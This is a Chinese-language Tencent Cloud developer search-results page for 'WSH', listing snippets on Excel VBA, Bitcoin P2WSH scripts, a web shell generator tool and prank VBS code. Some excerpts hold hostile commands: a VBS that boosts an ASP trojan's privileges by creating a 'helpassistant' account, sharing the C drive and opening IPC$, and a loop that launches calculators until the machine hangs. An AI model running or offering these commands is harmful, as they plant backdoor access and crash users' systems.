- 综合排序
- 最热优先
- 最新优先
- 来自专栏FreeBuf
WSH：一款功能强大的Web Shell生成器和命令行接口工具
关于WSH WSH是一款功能强大的Web Shell生成器和命令行接口工具。 因此，我们开发出了WSH，我们可以轻松将其嵌入到我们的工作流中，并在命令行终端运行。 WSH的客户端支持命令历史记录和日志记录功能，并且可以跟以前部署的标准Webshell交互。 $ wsh 127.0.0.1:8080/shell.php --header user-agent （向右滑动，查看更多） 白名单设置 $ wsh generate php --no-file $ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t （向右滑动，查看更多） 项目地址 WSH：https:// github.com/EatonChips/wsh
1.3K10编辑于 2022-11-14 - 来自专栏极客编程
比特币钱包隔离认证开发指南 原
许多原始脚本的共识限制，例如10000字节脚本大小，201 nOpCount，仍然适用于P2SH-P2WSH。 P2SH的520字节脚本大小限制不适用于P2SH-P2WSH。 本地Pay-to-Witness-Script-Hash（P2WSH） 原生P2WSH是一个34字节的scriptPubKey。 当使用原生P2WSH时，scriptSig必须为空，见证堆栈格式和签名生成规则与P2SH-P2WSH相同（包括使用压缩公钥的要求）。 示例。 为什么以及如何使用Native（Bech32）P2WPKH和P2WSH？ BIP173为本机P2WPKH和P2WSH地址提出校验和base32格式（Bech32）。 原生P2WPKH和P2WSH可用作默认更改地址，但这可能允许其他人轻松识别更改（参见下文）。 在广泛使用原生P2WPKH和P2WSH之前，这些地址类型可能会引起用户之间的隐私问题。
2K10发布于 2018-12-05 - 来自专栏哆哆Excel
Excel-VBA复制工作表到新工作簿方法
ActiveWorkbook.Close SaveChanges:=True End Sub '方法二：复制工作表为新的工作表，写入数据，再移动工作表另存为新的工作簿 Sub MoveSaveAs() wsh_num = Worksheets.Count Worksheets("模板").Copy After:=Worksheets(wsh_num) with Worksheets(wsh_num + 1) '=====些处写入数据==== end with Worksheets(wsh_num + 1).Move ActiveWorkbook.SaveAs
14.1K40编辑于 2022-10-31 - 来自专栏VBA 学习
使用VBA找到程序的安装路径
VBA.UCase$(AppName) If VBA.Right$(AppName, 4) <> ".EXE" Then AppName = AppName & ".EXE" Dim WSH As Object Set WSH = CreateObject("Wscript.Shell") On Error Resume Next GetAppPath = WSH.REGREAD On Error GoTo 0 Set WSH = Nothing End Function
2.3K10发布于 2021-04-07 - 来自专栏寻找石头鱼
js调取本地可执行文件exe
; return true; } else return false; }; var wsh = new ActiveXObject ('WScript.Shell'); if (wsh){ wsh.Run("\""+command); //解决目录包含空格问题 } window.onerror
3.8K20发布于 2019-09-11 - 来自专栏全栈程序员必看
经典vbs代码收集「建议收藏」
”) for i=1 to 5 wsh.run “Rasdial /DISCONNECT”,false,1 wsh.run “Rasdial 连接名字 账号 密码”,false,1 oIE.Navigate 而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下: set wsh=createobject(“wscript.shell”) ‘创建一个wsh对象 a=wsh.run (“cmd.exe =wscript.createobject(“wscript.shell”) wsh3.Run “net user helpassistant 123456”,0,false wsh3.Run “net wsh3.Run “net start Lanmanworkstation /y”,0,false wsh3.Run “net start Lanmanserver /y”,0,false wsh3. Run “net start ipc$”,0,True wsh3.Run “net share c$=c:”,0,false wsh3.Run “netsh firewall set notifications
2.3K30编辑于 2022-08-30 - 来自专栏办公魔盒
VBA列出文件夹父子目录及文件名
VBA列出文件夹父子目录及文件名 Sub dir() On Error GoTo 100 Dim wsh As Object, mypath As String, ar, i&, br CreateObject("shell.application").BrowseForFolder(0, "请选择要搜索的文件夹", 0).Items.Item.Path '在此指定目录 Set wsh = CreateObject("wscript.shell") mypath = wsh.exec("cmd /c tree /f " & Chr(34) & mypath & Chr(34) To UBound(ar) br(i + 1, 1) = ar(i) Next Range("a1").Resize(UBound(br)) = br Set wsh
1.8K20发布于 2019-07-22 - 来自专栏张戈的专栏
结合VBS,实现批处理自动以管理员身份执行
test.exe： start admin.vbs runas /user:administrator test.exe admin.vbs 代码（延时是为了成功传值给 bat 命令，确保成功） dim wsh set wsh=WScript.CreateObject("WScript.Shell") WScript.Sleep 3000 wsh.SendKeys "你的密码" WScript.Sleep 1000 wsh.SendKeys "{enter}" 稍作解释： 先打开一个发送按键的 vbs，延迟 3S 后发送密码，然后延迟 1s 发送回车。
2.8K140发布于 2018-03-26 - 来自专栏分享学习
EasyExcel导出excel设置单元格为文本格式解决方案【建议收藏】
100; @Override public void beforeSheetCreate(WriteWorkbookHolder wbh,WriteSheetHolder wsh ){ SheetWriteHandler.super.beforeSheetCreate(wbh,wsh); } @Override //这里设置单元格为文本格式 public void afterSheetCreate(WriteWorkbookHolder wbh,WriteSheetHolder wsh){ for(int i=0;i<COLUMN;i++){ SXSSFSheet sheet = (SXSSFSheet)wsh.getSheet(); CellStyle cellStyle
2.4K10编辑于 2025-05-16 - 来自专栏哆哆Excel
ExcelVBA汇总-多簿一表_to_一簿一表
ShtNameStr) = 0 Then MsgBox "你选了“取消”,将退出": Exit Sub Set ThisWb = ThisWorkbook With ThisWb If Wsh_Exists .Calculation = xlCalculationManual End If End With End Sub Public Function Wsh_Exists On Error GoTo ErrorHandler sName = ThisWorkbook.Sheets(sWshName).Name If Len(sName) > 0 Then Wsh_Exists = True Exit Function ErrorHandler: Wsh_Exists = False End Function 【效果】 25秒完成汇总
50120编辑于 2023-09-09 - 来自专栏完美Excel
VBA代码：将整个工作簿中的所有公式转换为值
sh In HidShts sh.Visible = xlSheetHidden Next sh End Sub 这是通常使用的代码： Sub ConvertAllValues() Dim wSh As Worksheet For Each wSh In ActiveWorkbook.Worksheets With wSh.UsedRange .Copy .PasteSpecial xlPasteValues End With Next wSh Application.CutCopyMode = False End Sub 还有其他的方法，例如： Sub rangeToValues
5.5K40编辑于 2023-10-10 - 来自专栏全栈程序员必看
excellvba引用计算机用户名,EXCEL VBA 取当前登录 用户名的多种实现方法[通俗易懂]
使用Wscript Dim wsh As Object Set wsh = CreateObject(“WScript.Network”) Sheet1.Range(“a1”) = wsh.UserName
3.6K10编辑于 2022-11-04 - 来自专栏哆哆Excel
ExcelVBA条件查找多文件并由整行复制到模板再存为新工作簿
disAppSet(False) Set thisWb = ThisWorkbook For a = 1 To UBound(brr) '循环条件数组brr wsh_num = Worksheets.Count Worksheets("模板").Copy After:=Worksheets(wsh_num) '复制“模板”文件为新的工作表， and 4=大写身份证=大写身份证，则复制整行数据 .Range("A" & j).EntireRow.Copy thisWb.Worksheets(wsh_num False Next i Application.Calculation = xlCalculationAutomatic With Worksheets(wsh_num Range("H19") .Move End With '移动复制出来的工作表，另存为新的工作簿 ' Worksheets(wsh_num
1.5K30编辑于 2022-10-31 - 来自专栏sickworm
比特币多种输出脚本（outputScript，scriptPubKey）介绍
9bc6f9caddaaab28c2bc0a8bf8531f91109bdd58 87 p2wpkh（bech32） 16 00 14 data(0x14):9bc6f9caddaaab28c2bc0a8bf8531f91109bdd58 p2wsh data> others: anyscript 说明 比特币理论上支持任意格式的script； 最主流的两种支付script为p2pkh，p2sh；隔离见证专用script为p2wpkh，p2wsh ，使用新的叫bech32的编码，bech32已有官方实现：BIP173 隔离见证使用的script为p2wpkh和p2wsh两种，对应经典script的p2pkh和p2sh，但是使用隔离见证script a60499338cdedebfd8cb7c379129cad1be5185d92d0db34717e66c1980a139b8（native p2wpkh） 接收方（使用utxo的一方）必须支持隔离见证，否则无法发送隔离见证交易；发送方可以不支持隔离见证，若不支持，接收方需要提供p2wpkh或p2wsh
1.8K30发布于 2019-02-27 - 来自专栏全栈程序员必看
VBS代码–很恶心的整人效果
其语言类似Visual Basic（VB），VBS是微软的WSH脚本的一种，WSH是是Windows脚本宿主，是一个脚本解释器，支持vbs,js,wsh三种格式的脚本。 编写VBS脚本没有什么特定要求，只要有系统带了WSH环境就可以，从WIN98就开始支持了。
2.5K40编辑于 2022-08-11 - 来自专栏Khan安全团队
使用 WSHController/WSHRemote 对象的横向移动（IWSHController 和 IWSHRemote 接口）
SOFTWARE\Classes\WSHRemote 从取证的角度来看，您需要注意这些工件： 上述注册表工件（远程值 + 类条目） 在用户临时目录中创建的文件 - 如果在 localhost 上启动 %TEMP%\wsh *.tmp %TEMP%\wsh*.tmp.vbs 在目标系统的 Windows 临时目录中创建的文件（如果在远程主机上启动） C:\Windows\Temp\wsh*.tmp C:\Windows\Temp \wsh*.tmp.vbs 存在通过 svchost.exe 生成的进程 wscript.exe： C:\WINDOWS\system32\wscript.exe -嵌入 image.png
82110编辑于 2022-01-19 - 来自专栏释然IT杂谈
轻量级内网资产探测漏洞扫描工具
/SbScan -h 192.168.0.0/16 -wsh 500 --wsp 500 端口扫描可以写端口号、端口范围或者常用端口类型 . /SbScan -wsh=2048 -wsp=1024 -h=192.168.188.1/24,10.0.0.1/16 -p=22,80,443 跳过主机存活检测（nsh）、POC漏洞探测（nsp）、弱口令爆破
1.8K20编辑于 2022-12-20 - 来自专栏全栈程序员必看
网页木马是什么原理啊_浏览器中了木马怎么办
WSH 架构于 ActiveX 之上，通过充当 ActiveX 的 脚本引擎控制器，WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。 WSH也有它的不足之处，任何事物都有两面性，WSH 也不例外。 应该说，WSH 的优点在于它使我们可以充分利用 脚本来实现计算机工作的自动化；但不可否认，也正是它的这一特点，使我们的系统又有了新的安全隐患。 许多 计算机病毒制造者正在热衷于用 脚本语言来编制病毒，并利用 WSH 的支持功能，让这些隐藏着病毒的脚本在网络中广为传播。 借助WSH的这一缺陷，通过JAVASCRIPT，VBSCRIPT，ACTIVEX等网页 脚本语言，就形成了现在的“网页危机”。
3.1K20编辑于 2022-11-15 - 来自专栏全栈程序员必看
超好玩的vbs代码 （恶作剧代码）
它是一种微软环境下的轻量级的解释型语言，它使用COM组件、WMI、WSH、ADSI访问系统中的元素，对系统进行管理。 其语言类似Visual Basic（VB），VBS是微软的WSH脚本的一种，WSH是是Windows脚本宿主，是一个脚本解释器，支持vbs,js,wsh三种格式的脚本。 编写VBS脚本没有什么特定要求，只要有系统带了WSH环境就可以，从WIN98就开始支持了。 On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("小敏") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit
10.8K30编辑于 2022-07-02 - 来自专栏全栈程序员必看
VBS 代码合集（慎用，好玩）
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell ”) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中”) wsh.sendKeys “^v” wsh.sendKeys i wsh.sendKeys “%s” next wscript.quit ---- QQ骚扰信息,也可以用在其它程序上。 loop ---- 三、打开无数个计算器，直到死机 set wsh=createobject(“wscript.shell”) do wsh.run “calc” loop 四、直接关机 dim
1.6K30编辑于 2022-09-06
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号